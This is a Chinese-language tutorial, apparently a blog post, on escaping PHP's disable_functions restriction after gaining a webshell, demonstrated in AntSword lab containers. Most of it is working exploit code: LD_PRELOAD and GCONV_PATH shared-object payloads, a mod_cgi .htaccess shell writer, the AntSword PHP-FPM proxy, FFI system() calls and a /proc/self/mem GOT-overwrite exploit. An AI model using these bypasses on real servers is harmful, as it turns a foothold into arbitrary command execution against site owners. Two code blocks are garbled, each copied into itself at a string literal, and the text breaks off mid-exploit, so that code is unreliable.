PHP disable_functions
disable_functions
是php.ini
中的一个设置选项。相当一个黑名单,可以用来设置PHP环境禁止使用某些函数,通常是网站管理员为了安全起见,用来禁用某些危险的命令执行函数等。
先来看看一般是哪些函数需要放入 disable_functions
:
禁用函数 | 功能描述 | 危险等级 |
system() | 允许执行一个外部程序并回显输出 | 高 |
exec() | 允许执行一个外部程序 | 高 |
shell_exec() | 通过 Shell 执行命令,并将执行结果作为字符串返回。 | 高 |
passthru() | 允许执行一个外部程序并回显输出 | 高 |
popen() | 可通过 popen() 的参数传递一条命令,并对 popen() 所打开的文件进行执行。 | 高 |
proc_open() | 执行一个命令并打开文件指针用于读取以及写入。 | 高 |
proc_get_status() | 获取使用 proc_open() 所打开进程的信息。 | 高 |
chroot() | 可改变当前 PHP 进程的工作根目录,仅当系统支持 CLI 模式PHP 时才能工作,且该函数不适用于 Windows 系统。 | 高 |
chgrp() | 改变文件或目录所属的用户组。 | 高 |
chown() | 改变文件或目录的所有者。 | 高 |
ini_set() | 可用于修改、设置 PHP 环境配置参数。 | 高 |
ini_alter() | 是 ini_set() 函数的一个别名函数,功能与 ini_set() 相同。 | 高 |
ini_restore() | 可用于恢复 PHP 环境配置参数到其初始值。 | 高 |
dl() | 在 PHP 进行运行过程当中(而非启动时)加载一个 PHP 外部模块。 | 高 |
pfsockopen() | 建立一个 Internet 或 UNIX 域的 socket 持久连接。 | 高 |
symlink() | 在 UNIX 系统中建立一个符号链接。 | 高 |
putenv() | 用于在 PHP 运行时改变系统字符集环境。在低于 5.2.6 版本的 PHP 中,可利用该函数修改系统字符集环境后,利用 sendmail 指令发送特殊参数执行系统 SHELL 命令。 | 高 |
phpinfo() | 输出 PHP 环境信息以及相关的模块、WEB 环境等信息。 | 中 |
scandir() | 列出指定路径中的文件和目录。 | 中 |
syslog() | 可调用 UNIX 系统的系统层 syslog() 函数。 | 中 |
readlink() | 返回符号连接指向的目标文件内容。 | 中 |
stream_socket_server() | 建立一个 Internet 或 UNIX 服务器连接。 | 中 |
error_log() | 将错误信息发送到指定位置(文件)。 安全备注:在某些版本的 PHP 中,可使用 error_log() 绕过 PHP safe mode,执行任意命令。 |
低 |
注:
eval()
并非PHP函数,放在disable_functions中是无法禁用的,若要禁用需要用到PHP的扩展Suhosin。
由于很多 PHP 站点往往设置了disable_functions
来禁止用户调用某些危险函数,给 Getshell 带来了很大的不便,这里总结了以下绕过方法来绕过与突破disable_functions
,欢迎大佬指正。
寻找黑名单遗漏的危险函数
disable_functions
是基于黑名单来实现对某些函数使用的限制的,既然是黑名单有时候就难免会有漏网之鱼。
拿到WebShell之后可以通过phpinfo
来寻找黑名单遗漏的危险函数。
以下一些比较严格的disable_functions
限制项:
passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
利用 LD_PRELOAD 环境变量
原理简介:
LD_PRELOAD
是Linux系统的一个环境变量,它可以影响程序的运行时的链接(Runtime linker),它允许你定义在程序运行前优先加载的动态链接库。这个功能主要就是用来有选择性的载入不同动态链接库中的相同函数。通过这个环境变量,我们可以在主程序和其动态链接库的中间加载别的动态链接库,甚至覆盖正常的函数库。一方面,我们可以以此功能来使用自己的或是更好的函数(无需别人的源码),而另一方面,我们也可以以向别人的程序注入程序,从而达到特定的攻击目的。
我们通过环境变量 LD_PRELOAD
劫持系统函数,可以达到不调用 PHP 的各种命令执行函数(system()
、exec()
等等)仍可执行系统命令的目的。
想要利用LD_PRELOAD环境变量绕过disable_functions
需要注意以下几点:
能够上传自己的.so文件 能够控制LD_PRELOAD环境变量的值,比如**
putenv()
**函数 因为新进程启动将加载LD_PRELOAD
中的.so文件,所以要存在可以控制PHP启动外部程序的函数并能执行,比如mail()
、imap_mail()
、mb_send_mail()
和error_log()
函数等
漏洞利用条件:
•Linux 操作系统•putenv
可用•mail
or error_log
可用,本例中禁用了 mail
但未禁用 error_log
•存在可写的目录,需要上传 .so
文件
靶场环境:
项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/1
启动环境:
docker-compose up -d
我们的最终目的是获取 /flag 的内容, 这个文件是 644 权限,www-data 用户无法通过读文件的形式读到内容, 需要执行拥有 SUID 权限的 tac 命令来获取 flag。
方法一:劫持函数
一般而言,利用漏洞控制 web 启动新进程 a.bin(即便进程名无法让我随意指定),新进程 a.bin 内部调用系统函数 b(),b() 位于 系统共享对象 c.so 中,所以系统为该进程加载共享对象 c.so,想办法在加载 c.so 前优先加载可控的 c_evil.so,c_evil.so 内含与 b() 同名的恶意函数,由于 c_evil.so 优先级较高,所以,a.bin 将调用到 c_evil.so 内的b() 而非系统的 c.so 内 b(),同时,c_evil.so 可控,达到执行恶意代码的目的。
基于这一思路,常见突破 disable_functions
限制执行操作系统命令的思路:
1.找到一个可以启动新进程的函数,如
mail()
函数会启动新进程/usr/sbin/sendmail
2.书写一个会被
sendmail
调用的C函数(函数最好不带参数),内部为恶意代码,编译为.so文件,如geteuid()
函数3.运行PHP函数
putenv()
,设定我们的so文件为LD_PRELOAD
,设置后新进程启动时将优先加载我们设置的so文件4.运行PHP的
mail()
函数,这时sendmail会优点调用我们书写的getegid同名函数,达到劫持执行恶意代码的效果
首先查看sendmail会调用那些函数,这里我们选择getegid函数,也可以是其他函数进行劫持
readelf -Ws /usr/sbin/sendmail
# readelf只会显示sendmial可能调用的函数,具体调用的函数应该使用strace -f 进行查看
靶场突破:
首先在本地编写hack.c
文件,目的为显示当前目录下文件:
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
void payload() {
system("tac /flag > /var/www/html/flag.txt");
}
int geteuid() {
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
payload();
}
将c文件编译为so文件
gcc hack.c -o hack.so -shared -fPIC
使用蚁剑将hack.so
上传至目标靶机
使用蚁剑在目标靶机上写入php文件,设置环境变量并执行mail()
函数
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 编译c文件后的so文件位置
mail("","","","");
?>
但是在浏览器中访问.php文件,未出现flag,猜测mail
函数被禁用,可以通过写入phpinfo()查看
sendmail也会调用error_log
,修改php文件如下:
<?php
putenv("LD_PRELOAD=/var/www/html/hack.so");
error_log("a",1);
?>
浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件
方法一:预加载共享对象
在实际情况中,很多机器尚未安装或者禁止了sendmail功能,通常的 www-data 权限又不可能去更改 php.ini 配置、去安装 sendmail 软件,所以可以采用另一种方式绕过disable_function。
系统通过LD_PRELOAD
预先加载共享对象,如果在加载时就执行代码,就不用劫持函数以此绕过disable_function
。
gcc允许为函数设置如下属性,可以让其修饰的函数在mail()
函数之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,将立即执行。
__attribute__((__constructor__))
// constructor参数让系统执行main()函数之前调用函数(被__attribute__((constructor))修饰的函数
编写hack.c
代码
#include <stdlib.h>
#include <string.h>
__attribute__((constructor))void payload() {
unsetenv("LD_PRELOAD");
const char* cmd = getenv("CMD");//接收传入的命令
system(cmd); // 执行命令
}
将c文件编译为so文件,并使用蚁剑将hack.so
上传至目标靶机
gcc hack.c -o hack.so -shared -fPIC
使用蚁剑在目标靶机上写入php文件,设置环境变量并执行error_log()
函数
<?php
putenv("CMD=tac /flag > /var/www/html/flag.txt"); # 要执行的命令
putenv("LD_PRELOAD=/var/www/html/hack.so"); # 编译c文件后的so文件位置
error_log("a",1);
?>
浏览器访问.php文件,在蚁剑中可以看到生成了flag.txt文件
注:unsetenv()
可能在CentOS上无效,因为CentOS自己也hook了unsetenv(),在其内部启动了其他进程,来不及删除LD_PRELOAD
就又被劫持,导致无限循环,可以使用全局变量 extern char** environ
删除,实际上,unsetenv()
就是对 environ
的简单封装实现的环境变量删除功能。
在https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD/blob/master/bypass_disablefunc.c看到了一个小技巧:
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
';
}
}
// executive command
system(cmdline);
}
使用for循环修改LD_PRELOAD
的首个字符改成\0
这样可以使系统原有的环境变量自动失效。
利用 GCONV_PATH 与 iconv
原理简介:
php在执行iconv函数时,实际上是调用glibc中的iconv相关函数,其中一个很重要的函数叫做iconv_open()
。
linux系统提供了一个环境变量:GCONV_PATH
,该环境变量能够使glibc
使用用户自定义的gconv-modules
文件,因此,如果指定了GCONV_PATH
的值,iconv_open
函数的执行过程会如下:
1.iconv_open
函数依照GCONV_PATH
找到gconv-modules
文件,这个文件中包含了各个字符集的相关信息存储的路径,每个字符集的相关信息存储在一个.so
文件中,即gconv-modules
文件提供了各个字符集的.so
文件所在位置。2.根据gconv-modules
文件的指示找到参数对应的.so
文件。3.调用.so
文件中的gconv()
和gonv_init()
函数。4.一些其他步骤。
我们的利用方式就是首先在某一文件夹(一般是/tmp
)中上传gconv-modules
文件,文件中指定我们自定义的字符集文件的.so
,然后我们再在.so
文件中的gonv_init()
函数中书写命令执行函数,之后上传php的shell,内容是使用php设定GCONV_PATH
指向我们的gconv-modules
文件,然后使用iconv
函数使我们的恶意代码执行。
漏洞利用条件:
•Linux 操作系统
•putenv
可用
•PHP安装了iconv
相关模块
•存在可写的目录,需要上传 .so
文件
靶场环境:
项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9
靶场突破:
首先上传gconv-modules文件于/tmp文件夹,其内容如下:
module PAYLOAD// INTERNAL ../../../../../../../../tmp/payload 2
module INTERNAL PAYLOAD// ../../../../../../../../tmp/payload 2
在本地编写payload.c
文件,内容如下:
#include <stdio.h>
#include <stdlib.h>
void gconv() {}
void gconv_init() {
puts("pwned");
system("tac /flag > /var/www/html/flag.txt"); //需要执行的命令
exit(0);
}
将c文件编译为so文件
gcc payload.c -o payload.so -shared -fPIC
使用蚁剑将payload.so
上传至目标靶机的/tmp/
目录下
编写exp.php
上传至web目录下
<?php
putenv("GCONV_PATH=/tmp");
iconv("payload", "UTF-8", "whatever");
?>
访问exp.php
页面即可执行命令
利用 Apache Mod CGI
原理简介:
CGI:CGI ,公共网关接口,它是 Web 服务器与外部应用程序(CGI 程序)之间传递信息的接口。通过 CGI 接口 Web 服务器就能够将客户端提交的信息转交给服务器端的 CGI 程序处理,最后返回结果给客户端。CGI是放在服务器上的可执行程序,CGI编程没有特定的语言,C语言、linux shell、perl、vb等等都可以进行CGI编程。
MOD_CGI:任何具有MIME类型application/x-httpd-cgi或者被cgi-script处理器处理的文件都将被作为CGI脚本对待并由服务器运行,它的输出将被返回给客户端。可以通过两种途径使文件成为CGI脚本,一种是文件具有已由AddType指令定义的扩展名,另一种是文件位于ScriptAlias目录中。
漏洞利用条件:
•Linux 操作系统•Apache + PHP (apache 使用 apache_mod_php)•Apache 开启了 cgi
, rewrite
•Web 目录给了 AllowOverride
权限•当前目录可写
靶场环境:
项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/3
disable_functions比之前的多了
putenv
靶场突破:
若是想临时允许一个目录可以执行cgi程序并且使得服务器将自定义的后缀解析为cgi程序,则可以在目的目录下使用.htaccess
文件进行配置
Options +ExecCGI
AddHandler cgi-script .dizzle
然后设置.dizzle
结尾的shell文件(shell.dizzle
)
#!/bin/bash
echo -ne "Content-Type: text/html\n\n"
tac /flag
将shell.dizzle的权限改为0777
访问shell.dizzle即可执行命令
注:由于Windows 系统中:每行结尾是 “
<回车><换行>
“,即 “\r\n
“;而UNIX/Linux中:每行结尾是 “<换行>
“,即 “\n
“,所以在写shell.dizzle
文件时必须使用手打,复制粘贴会报错误。
也可以使用如下EXP进行自动生成:
<?php
$cmd = "tac /flag"; //command to be executed
$shellfile = "#!/bin/bash\n"; //using a shellscript
$shellfile .= "echo -ne \"Content-Type: text/html\\n\\n\"\n"; //header is needed, otherwise a 500 error is thrown when there is output
$shellfile .= "$cmd"; //executing $cmd
function checkEnabled($text,$condition,$yes,$no) //this surely can be shorter
{
echo "$text: " . ($condition ? $yes : $no) . "<br>\n";
}
if (!isset($_GET['checked']))
{
@file_put_contents('.htaccess', "\nSetEnv HTACCESS on", FILE_APPEND); //Append it to a .htaccess file to see whether .htaccess is allowed
header('Location: ' . $_SERVER['PHP_SELF'] . '?checked=true'); //execute the script again to see if the htaccess test worked
}
else
{
$modcgi = in_array('mod_cgi', apache_get_modules()); // mod_cgi enabled?
$writable = is_writable('.'); //current dir writable?
$htaccess = !empty($_SERVER['HTACCESS']); //htaccess enabled?
checkEnabled("Mod-Cgi enabled",$modcgi,"Yes","No");
checkEnabled("Is writable",$writable,"Yes","No");
checkEnabled("htaccess working",$htaccess,"Yes","No");
if(!($modcgi && $writable && $htaccess))
{
echo "Error. All of the above must be true for the script to work!"; //abort if not
}
else
{
checkEnabled("Backing up .htaccess",copy(".htaccess",".htaccess.bak"),"Suceeded! Saved in .htaccess.bak","Failed!"); //make a backup, cause you never know.
checkEnabled("Write .htaccess file",file_put_contents('.htaccess',"Options +ExecCGI\nAddHandler cgi-script .dizzle"),"Succeeded!","Failed!"); //.dizzle is a nice extension
checkEnabled("Write shell file",file_put_contents('shell.dizzle',$shellfile),"Succeeded!","Failed!"); //write the file
checkEnabled("Chmod 777",chmod("shell.dizzle",0777),"Succeeded!","Failed!"); //rwx
echo "Executing the script now. Check your listener <img src = 'shell.dizzle' style = 'display:none;'>"; //call the script
}
}
?>
浏览器访问test.php后,会生成.htacess
和shell.dizzle
文件,文件内容与前面的是一样的。
最后访问shell.dizzle
可以得到flag。
攻击 PHP-FPM 监听端口
有关PHP-FPM我在利用SSRF渗透内网主机·中一节中有提到过,不过讲的并不透彻。
推荐大家可以参考一下P神的这篇文章:Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 。
原理简介:
我查阅了一些相关文章,有关利用PHP-FPM绕过disable_functions,很多都是套用P神的脚本,利用PHP-FPM未授权伪造发送请求。但是这种情况并不能绕过disable_functions,因为本质上还是原来的php解释器来解析,还是会加载php.ini。
而使用蚁剑扩展插件的原理简单的来讲就是:利用PHP-FPM加载一个恶意的ext,使得新启动一个PHP Server后,流量通过.antproxy.php
转发到无disabe_functions的PHP Server上,以此达成bypass。
所以这一部分我是直接使用蚁剑的扩展插件进行突破,再对其原理进行分析。
漏洞利用条件:
•Linux 操作系统•PHP-FPM•存在可写的目录, 需要上传 .so
文件
靶场环境:
项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/5
靶场突破:
在蚁剑的插件中心找到“绕过disable_functions”插件并下载安装
也可选择下载源码并拷贝至
antSword/antData/plugins/
进行手动安装。项目地址:https://github.com/Medicean/as_bypass_php_disable_functions
添加WebShell完成后,使用「绕过 disable_functions」插件
选择 PHP-FPM/FastCGI
模式进行
注意该模式下需要选择 PHP-FPM 的接口地址,需要自行找配置文件查 FPM 接口地址,默认的是 unix:///
本地 socket 这种的,如果配置成 TCP 的默认是 127.0.0.1:9000
。在本例中,FPM 运行在 127.0.0.1:9000
端口
点击「开始」按钮,可以看到成功上传了一个ext、执行了某项操作与上传了一个代理脚本。
成功后可以看到 /var/www/html/
目录下新建了一个 .antproxy.php
文件。我们创建副本,并将连接的 URL shell 脚本名字改为 .antproxy.php
,就可以成功执行命令。
原理分析:
很明显的是蚁剑在服务器上传了 1 个 so
库,和一个.antproxy.php
上服务器先看下.antproxy.php
<?php
function get_client_header(){
$headers=array();
foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));
$k=preg_replace_callback('/_\w/','header_callback',$k);
$k=preg_replace('/^_/','',$k);
$k=str_replace('_','-',$k);
if($k=='Host') continue;
$headers[]="$k:$v";
}
}
return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode("
",$sResponse, 2);
$ret=array($headerstr,$sResponse);
if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);
}
return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61568;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";
$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
核心代码:
... ...
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61568;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
... ...
可以看到它正在与61568端口进行通信(靶场中默认没有安装ps工具,需要手动安装:apt upgrade && apt install procps
)
/bin/sh -c php -n -S 127.0.0.1:61568 -t /var/www/html
看来是起了一个新的 PHP Server,-n 就是不使用 php.ini,从而实现了 bypass disable_functions。大致推测出是利用之前上传的 so 库实现的命令执行,然后跑了个 PHP Server。
根据扩展插件的项目仓库(https://github.com/Medicean/as_bypass_php_disable_functions),找到主要代码的位置: core/php_fpm/index.js
。
启动 PHP Server 的代码,然后生成 ext(so/dll扩展) 传到服务器上。
let port = Math.floor(Math.random() * 5000) + 60000; // 60000~65000
...
let cmd = `${phpbinary} -n -S 127.0.0.1:${port} -t ${self.top.infodata.phpself}`;
let fileBuffer = self.generateExt(cmd);
通过self.generateExt(cmd)生成了一个fileBuffer,然后通过下面代码传了上去。
core.filemanager.upload_file({
path: ext_path,
content: fileBuffer
})
构造攻击 PHP-FPM 的 Payload,加载扩展库:
触发 Payload 后,就会执行启动一个新的 PHP Server。
后续 shell 都通过.antproxy.php
代理用 61568 的 PHP 解析,也就没有 disable_functions 了。
那么重点就在于generateExt函数了,这个在core/base.js
里面。
// 生成扩展
generateExt(cmd) {
let self = this;
let fileBuff = fs.readFileSync(self.ext_path);
let start = 0, end = 0;
switch (self.ext_name) {
case 'ant_x86.so':
start = 275;
end = 504;
break;
case 'ant_x64.so':
// 434-665
start = 434;
end = 665;
break;
case 'ant_x86.dll':
start = 1544;
end = 1683;
break;
case 'ant_x64.dll':
start = 1552;
end = 1691;
break;
default:
break;
}
if(cmd.length > (end - start)) {
return
}
fileBuff[end] = 0;
fileBuff.write(" ", start);
fileBuff.write(cmd, start);
return fileBuff;
}
直接对二进制数据操作,在 start 到 end 中填入 cmd(就是前面说到的命令/bin/sh -c php -n -S 127.0.0.1:61568 -t /var/www/html
)。
由于没有找到ext中so/dll的源码,只能放在IDA中逆向一下。
简单粗暴,so/dll 文件给cmd留点位置,需要执行啥命令就写啥命令进去。然后执行 so/dll 就可以执行该命令了。
利用 PHP7.4 FFI 扩展执行命令
原理简介:
FFI(Foreign Function Interface),即外部函数接口。是指在一种语言里调用另一种语言代码的技术。PHP在7.4版本中新增加了此扩展,PHP 的 FFI 扩展就是一个让你在 PHP 里调用 C 代码的技术。FFI的使用只需声明和调用两步。
漏洞利用条件:
•Linux 操作系统•PHP >= 7.4•开启了 FFI 扩展且 ffi.enable=true
靶场环境:
项目地址:https://github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/8
靶场突破:
上传EXP:
<?php
$ffi = FFI::cdef("int system(const char *command);"); # 声明ffi,调用system函数
$ffi->system("tac /flag > /var/www/html/flag.txt"); # 执行命令读取flag
echo file_get_contents("/var/www/html/flag.txt");
// @unlink("/var/www/html/flag.txt"); # 删除flag.txt文件
?>
直接访问提交即可。
劫持 GOT 表
原理简介:
在linux系统中,procfs 文件系统是个特殊的存在,对应的是 /proc
目录,php 可以通过/proc
目录读写自己所在进程的内存,将非敏感函数地址替换成glibc
中的system
地址,从而执行命令,其涉及的技术叫做 GOT表劫持。
通过正常函数实现敏感行为绕过 RASP ,举个例子,如果能将open
函数地址换成system
地址,那么便可以将fopen
打开文件的命令,最终变成glibc
调用system
执行命令。
详细原理讲解可参考:
漏洞利用条件:
•内核版本>=2.98•PHP < 5.6•基于www权限的php-fpm/php-cgi work进程必须有权限读写 /proc/self/目录。•open_basedir=off(或者能绕过open_basedir读写 /lib/ 和/proc/)
注:apache+php 由于 apache调用setuid设置www权限工作进程,/proc/self/目录属于root用户,导致没有权限读写。
nginx+php,对于低版本的php -fpm www权限工作进程, /proc/self/目录属于www用户可以读写。经不完全测试,php<5.6 版本是可以使用GOT表劫持。
靶场环境:
•Linux系统:CentOS 7.6(内核版本3.10.0)•Web服务:Nginx 1.18.0•PHP版本:5.4.16
靶场突破:
以下EXP来源:https://github.com/beched/php_disable_functions_bypass
<?php
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "<?php
/*
$libc_ver:
beched@linuxoid ~ $ php -r 'readfile("/proc/self/maps");' | grep libc
7f3dfa609000-7f3dfa7c4000 r-xp 00000000 08:01 9831386 /lib/x86_64-linux-gnu/libc-2.19.so
$open_php:
beched@linuxoid ~ $ objdump -R /usr/bin/php | grep '\sopen$'
0000000000e94998 R_X86_64_JUMP_SLOT open
$system_offset and $open_offset:
beched@linuxoid ~ $ readelf -s /lib/x86_64-linux-gnu/libc-2.19.so | egrep "\s(system|open)@@"
1337: 0000000000046530 45 FUNC WEAK DEFAULT 12 system@@GLIBC_2.2.5
1679: 00000000000ec150 90 FUNC WEAK DEFAULT 12 open@@GLIBC_2.2.5
*/
function packlli($value) {
$higher = ($value & 0xffffffff00000000) >> 32;
$lower = $value & 0x00000000ffffffff;
return pack('V2', $lower, $higher);
}
function unp($value) {
return hexdec(bin2hex(strrev($value)));
}
function parseelf($bin_ver, $rela = false) {
$bin = file_get_contents($bin_ver);
$e_shoff = unp(substr($bin, 0x28, 8));
$e_shentsize = unp(substr($bin, 0x3a, 2));
$e_shnum = unp(substr($bin, 0x3c, 2));
$e_shstrndx = unp(substr($bin, 0x3e, 2));
for($i = 0; $i < $e_shnum; $i += 1) {
$sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4));
if($sh_type == 11) { // SHT_DYNSYM
$dynsym_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$dynsym_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$dynsym_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
elseif(!isset($strtab_off) && $sh_type == 3) { // SHT_STRTAB
$strtab_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$strtab_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
}
elseif($rela && $sh_type == 4) { // SHT_RELA
$relaplt_off = unp(substr($bin, $e_shoff + $i * $e_shentsize + 24, 8));
$relaplt_size = unp(substr($bin, $e_shoff + $i * $e_shentsize + 32, 8));
$relaplt_entsize = unp(substr($bin, $e_shoff + $i * $e_shentsize + 56, 8));
}
}
if($rela) {
for($i = $relaplt_off; $i < $relaplt_off + $relaplt_size; $i += $relaplt_entsize) {
$r_offset = unp(substr($bin, $i, 8));
$r_info = unp(substr($bin, $i + 8, 8)) >> 32;
$name_off = unp(substr($bin, $dynsym_off + $r_info * $dynsym_entsize, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == 'open') {
return $r_offset;
}
}
}
else {
for($i = $dynsym_off; $i < $dynsym_off + $dynsym_size; $i += $dynsym_entsize) {
$name_off = unp(substr($bin, $i, 4));
$name = '';
$j = $strtab_off + $name_off - 1;
while($bin[++$j] != "\0") {
$name .= $bin[$j];
}
if($name == '__libc_system') {
$system_offset = unp(substr($bin, $i + 8, 8));
}
if($name == '__open') {
$open_offset = unp(substr($bin, $i + 8, 8));
}
}
return array($system_offset, $open_offset);
}
}
echo "[*] PHP disable_functions procfs bypass (coded by Beched, RDot.Org)\n";
if(strpos(php_uname('a'), 'x86_64') === false) {
echo "[-] This exploit is for x64 Linux. Exiting\n";
exit;
}
if(substr(php_uname('r'), 0, 4) < 2.98) {
echo "[-] Too old kernel (< 2.98). Might not work\n";
}
echo "[*] Trying to get open@plt offset in PHP binary\n";
$open_php = parseelf('/proc/self/exe', true);
if($open_php == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo '[+] Offset is 0x' . dechex($open_php) . "\n";
$maps = file_get_contents('/proc/self/maps');
preg_match('#\s+(/.+libc\-.+)#', $maps, $r);
echo "[*] Libc location: $r[1]\n";
$pie_base = hexdec(explode('-', $maps)[0]);
echo '[*] PIE base: 0x' . dechex($pie_base) . "\n";
echo "[*] Trying to get open and system symbols from Libc\n";
list($system_offset, $open_offset) = parseelf($r[1]);
if($system_offset == 0 or $open_offset == 0) {
echo "[-] Failed. Exiting\n";
exit;
}
echo "[+] Got them. Seeking for address in memory\n";
$mem = fopen('/proc/self/mem', 'rb');
fseek($mem, $pie_base + $open_php);
$open_addr = unp(fread($mem, 8));
echo '[*] open@plt addr: 0x' . dechex($open_addr) . "\n";
$libc_start = $open_addr - $open_offset;
$system_addr = $libc_start + $system_offset;
echo '[*] system@plt addr: 0x' . dechex($system_addr) . "\n";
echo "[*] Rewriting open@plt address\n";
$mem = fopen('/proc/self/mem', 'wb');
fseek($mem, $pie_base + $open_php);
if(fwrite($mem, packlli($system_addr))) {
echo "[+] Address written. Executing cmd\n";
